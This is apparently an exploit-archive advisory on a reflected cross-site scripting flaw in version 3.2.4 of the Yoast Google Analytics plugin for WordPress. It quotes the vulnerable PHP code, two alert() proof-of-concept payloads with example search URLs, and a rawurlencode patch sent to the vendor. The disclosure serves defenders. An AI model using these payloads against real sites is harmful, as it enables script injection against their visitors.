-
Notifications
You must be signed in to change notification settings - Fork 16
/
Copy path10080.txt
55 lines (36 loc) · 2.15 KB
/
10080.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
Yoast GA 3.2.4 Plugin for WP XSS
================================
Info: The Google Analytics for WordPress plugin automatically tracks and
segments all outbound links from within posts, comment author links, links
within comments, blogroll links and downloads. It also allows you to track
AdSense clicks, add extra search engines, track image search queries and it
will even work together with Urchin.
Credits: InterN0T
External Links:
-:: The Advisory ::-
On line 353 in googleanalytics.php the following vulnerable code was identified:
/**
*/
if ( is_404() ) {
echo "\t\t".'pageTracker._trackPageview("/404.html?page=" + document.location.pathname + document.location.search + "&from=" + document.referrer);'."\n";
echo "\t".'} catch(err) {}'."\n";
echo '</script>'."\n";
} else if ($wp_query->is_search && $wp_query->found_posts == 0) {
echo "\t\t".'pageTracker._trackPageview("'.get_bloginfo('url').'/?s=no-results: '.$wp_query->query_vars['s'].'&cat=no-results");'."\n";
echo "\t".'} catch(err) {}'."\n";
echo '</script>'."\n";
In order to trigger this bug, a 404 (Not Found) message must be the response when supplying the XSS code into the search-form.
One can either end the script tag or use javascript in order to abuse this issue.
Proof of Concept's:
A. </script>alert(0)</script>
B. ");alert(0);document.write("
Example:
A. hxxp://server/wp/?s=</script><script>alert(0)</script>
B. hxxp://server/wp/?s=");alert(0);document.write("
If magic_quotes is enabled inside php.ini, Proof of Concept (B) wont work.
-:: Solution ::-
The following patch was supplied to the vendor:
On line 361 in googleanalytics.php the following piece of code is vulnerable to Cross Site Scripting:
echo "\t\t".'pageTracker._trackPageview("'.get_bloginfo('url').'/?s=no-results: '.$wp_query->query_vars['s'].'&cat=no-results");'."\n";
echo "\t\t".'pageTracker._trackPageview("'.get_bloginfo('url').'/?s=no-results: '.rawurlencode($wp_query->query_vars['s']).'&cat=no-results");'."\n";
The reason why we thought rawurlencode might be suitable is because htmlentities in a tracking URL might break the Google Analytics Tracking.